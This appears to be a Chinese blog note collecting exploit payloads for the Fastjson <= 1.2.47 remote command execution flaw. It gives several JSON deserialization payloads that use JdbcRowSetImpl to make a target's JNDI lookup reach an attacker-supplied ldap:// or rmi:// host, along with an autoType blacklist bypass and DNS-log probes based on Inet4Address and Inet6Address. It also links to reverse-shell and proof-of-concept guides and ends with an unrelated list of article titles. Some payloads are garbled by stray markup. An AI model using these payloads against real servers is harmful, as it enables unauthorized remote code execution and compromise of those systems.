Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法记录

payload

rmi://ldap:// 可以切换尝试。

param={
"@type": "java.lang.Class",
br / > "a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
"@type": "com.sun.rowset.JdbcRowSetImpl",
br / >
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://your ip/",
"autoCommit": true
}
} param={
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://your ip/",
"autoCommit":true
}
} param={"orderNo":"B200414195915053000","partnerOrderNo":"DC200414593341","x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your ip/","autoCommit":true}} param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your ip/","autoCommit":true}}} # JNDI 注入
param={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your ip/","autoCommit":true}
param={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your ip/,"autoCommit":true} # DNS log
param={"@type":"java.net.InetAddress","val":"example.com"}

可以通过 dns log 的方式得知漏洞是否存在了

利用java.net.Inet[4|6]Address

很早之前有一个方法是使用java.net.InetAddress类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(v1.2.67)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以java.net.Inet4Address为例分析构造原理。

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

参考

反弹shell

https://blog.csdn.net/Jiajiajiang_/article/details/103255659

复现pyload

https://blog.51cto.com/13770310/2425330?source=dra

靶场

https://vulhub.org/#/environments/fastjson/1.2.24-rce/

教程

https://github.com/shengqi158/fastjson-remote-code-execute-poc

最新文章

  1. 基于SSM的分页
  2. iOS中UINavigationController控制器使用详解
  3. Extjs ComboBox 动态选中第一项
  4. poj 1888 Crossword Answers 模拟题
  5. 【转载】Linux动态库搜索路径的技巧
  6. c++ stl string char* 向 string 转换的问题
  7. AR增强现实 Augmented Reality
  8. ASP.NET- 播放视频代码
  9. Android开发之设定Dialog的位置
  10. fsdfasfsa
  11. Samara SAU ACM ICPC 2013-2014 Quarterfinal Qualification Contest
  12. CentOS7 安装 Mysql 服务
  13. TCP常见的定时器三次握手与四次挥手
  14. 201521123100 《Java程序设计》第11周学习总结
  15. 在CentOS 7 上安装docker
  16. 排列组合n选m算法
  17. Java SSM 框架相关基础面试题
  18. 拜占庭将军问题(Byzantine Generals Problem),一个关于分布式系统容错问题故事
  19. 2017青岛赛区网络赛 Smallest Minimum Cut 求最小割的最小割边数
  20. 解决 vuex mapGetters 语法报错 (Unexpected token )

热门文章

  1. CF 666E&#160;Forensic Examination 【SAM 倍增 线段树合并】
  2. POJ - 3693 Maximum repetition substring(重复次数最多的连续重复子串)
  3. C#线程Thread类
  4. Python——Django框架——Form框架
  5. 编译安装MySQL 5.5.33
  6. Linux系统诊断必备技能之二:日志查询常用命令详解
  7. 牛客国庆2 F-平衡二叉树【非原创】
  8. hihoCoder Challenge 1
  9. webfullstack website
  10. css skeleton loading &amp; skeleton components